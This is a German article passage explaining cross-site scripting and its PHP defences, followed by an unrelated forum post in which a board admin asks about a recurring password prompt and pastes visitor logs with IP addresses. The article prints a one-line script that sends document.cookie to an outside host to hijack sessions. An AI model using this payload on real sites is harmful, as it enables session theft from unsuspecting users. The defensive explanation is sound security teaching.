    Eine der weitaus häufigsten Sicherheitslücken in webbasierten Systemen ist das sogenannte "Cross Site Scripting" (im folgenden kurz "XSS"). Eine Suche im Archiv von BugTraq oder Full-Disclosure bringt unzählige XSS-Fälle an den Tag, unter anderem in den Webmailsystemen von Hotmail, Yahoo, Gmail und anderen Anbietern. Aber auch Foren und E-Commerce-Produkte sind häufige Ziele für XSS. Dabei ist es meist sehr einfach, XSS wirksam zu unterbinden, da der Angriff sehr einfach zu erkennen und abzuwehren ist.
    Eine klassische XSS-Attacke baut darauf, daß in einem Formular oder im Querystring HTML-Code übergeben werden kann, der dann auf einer der Folgeseiten als Inhalt der Seite angezeigt wird. Damit wird dieser Code von allen aktuellen Browsern in den Sicherheitskontext des anzeigenden Systems eingeordnet und ermöglicht dem Angreifer Zugriff auf eigentlich geschützte Daten.
    XSS ist dabei so simpel wie effektiv: Besteht die Möglichkeit, HTML-Tags in eine Anwendung einzuschleusen, ist auch meist eine Möglichkeit gegeben, das Tag <script> zu übergeben. Werden die Spitzklammern < und > nicht korrekt ausgefiltert bzw. von der Anwendung nicht in die Entities &lt; und &gt; umgewandelt, ist diese verwundbar. Ein Client wird diesen Benutzer-Input als Teil der Seite interpretieren und entsprechend Scriptcode ausführen.
    Ein typischer Einsatz von XSS ist das Stehlen einer gültigen Session-ID, um die dazugehörige Sitzung (siehe auch unter "Sessions") zu übernehmen. Ein einzeiliges JavaScript bewerkstelligt dies mit einem Code wie etwa <script>self.location.href="http://umleitung.de/?id=" + document.cookie</script>
    Gelingt es dem Angreifer, solchen Code in die Anwendung einzuschleusen, ist die Grundlage für eine erfolgreiche XSS-Attacke bereits gelegt. Er könnte nun dem Opfer eine Mail schicken, die einen mit dem XSS-Code präparierten Link enthält. Damit kann dann die Session-ID eines bestimmten Opfers abgefangen werden.
    Noch interessanter ist für einen Blackhat jedoch die Option, so viele Sessions wie möglich übernehmen zu können - dazu schleust er einfach den XSS-Code in ein verwundbares Forum oder CMS ein und sorgt dafür, daß der entsprechende Beitrag von so vielen authentifizierten Benutzern wie möglich gelesen wird. Durch eine ansprechende Betitelung läßt sich dies leicht bewerkstelligen.
    Auch in <img>-Tags versteckter Scriptcode gilt als XSS und kann geeignet sein, um Sessions zu entführen.
    Ein wirksamer Schutz gegen XSS ist recht einfach: Jegliche Benutzereingabe sollte, bevor sie in einem Subsystem gespeichert oder auf einer Folgeseite angezeigt wird, um Scriptcode bereinigt und zu diesem Zwecke zum Beispiel mit den PHP-Funktionen htmlentities() oder strip_tags() behandelt werden. Die Funktion htmlentities() wandelt alle Sonderzeichen in die entsprechenden Entities - darunter auch < und >. Der Client rendert nun statt eines Tags die tatsächlichen Spitzklammern und führt damit kein Script mehr aus. strip_Tags() hingegen entfernt rigoros alles, was sie für ein SGML-Tag hält, also </script> genauso wie </foo> oder <bar>.
    Die Nutzung beider Funktionen empfiehlt sich dort nicht, wo dem Benutzer die Möglichkeit gegeben werden soll, HTML-formatierten Text an die Anwendung zu übergeben. Hier muß, um gegen XSS gewappnet zu sein, eine Überprüfung auf alle XSS-Möglichkeiten vorgenommen werden. Diese Aufgabe ist relativ umfangreich, wie das "XSS Cheat Sheet" [7] demonstriert.

    folgendes.....


    mein acp hab ich schon seit ewigen zeiten mit einem passwortschutz versehen...mache ich immer über meinen provider


    letzte woche hatte ich dann einen pn ausstausch mit earlyhost(cookiestealer)


    danach hab ich dann meinen alten passwortschutz fürs acp gelöscht und einen neuen eingerichet!


    aber jetzt gibt es aufeinmal ein problem....das vorher nie da war!.........die passwortabfrage kommt jetzt einfach immer so.....geht man in den thread oder in den....es erscheint einfach.....die user müssens dann wegklicken.....aber wenn sie in einen neuen thread gehen....dann isses wieder da!


    im moment hab ichs deaktiviert mit dem passwortschutz


    ich weiss nicht ob es mit dem security sytem zusammenhängt...oder was auch immer....vielleicht hat einer ne lösung oder weiss warum das so ist


    hier mal ein pic wie das aussieht


    .
    [Blockierte Grafik: http://img325.imageshack.us/img325/4383/26vm2bk.jpg]

    es funktioniert nur teilweise mit dem browser


    08.08.2005 09:05 guest 0 195.93.60.136 Mozilla/4.0 (compatible; MSIE 6.0; AOL 9.0; Windows NT 5.1; (R1 1.3); .NET CLR 1.1.4322) Beitrag: Daily Talk 08.08.2005
    08.08.2005 09:05 guest 0 195.93.60.7 Mozilla/4.0 (compatible; MSIE 6.0; AOL 9.0; Windows NT 5.1; (R1 1.3); .NET CLR 1.1.4322) Beitrag: Daily Talk 08.08.2005
    08.08.2005 09:05 guest 0 195.93.60.135 Mozilla/4.0 (compatible; MSIE 6.0; AOL 9.0; Windows NT 5.1; (R1 1.3); .NET CLR 1.1.4322) Beitrag: Daily Talk 08.08.2005
    08.08.2005 09:04 guest 0 195.93.60.147 Mozilla/4.0 (compatible; MSIE 6.0; AOL 9.0; Windows NT 5.1; (R1 1.3); .NET CLR 1.1.4322) Startseite
    07.08.2005 22:48 guest 0 195.93.60.12 Mozilla/4.0 (compatible; MSIE 6.0; AOL 8.0; Windows NT 5.1) blockierter Seitenabruf (ID: 6)
    07.08.2005 19:46 guest 0 195.93.60.71 Mozilla/4.0 (compatible; MSIE 6.0; AOL 9.0; Windows NT 5.1; SV1) blockierter Seitenabruf (ID: 6)
    07.08.2005 16:12 guest 0 195.93.60.72 Mozilla/4.0 (compatible; MSIE 6.0; AOL 9.0; Windows NT 5.0) blockierter Seitenabruf (ID: 6)
    07.08.2005 16:08 guest 0 195.93.60.15 Mozilla/4.0 (compatible; MSIE 6.0; AOL 9.0; Windows NT 5.1) blockierter Seitenabruf (ID: 6)



    kann man das nicht noch ändern??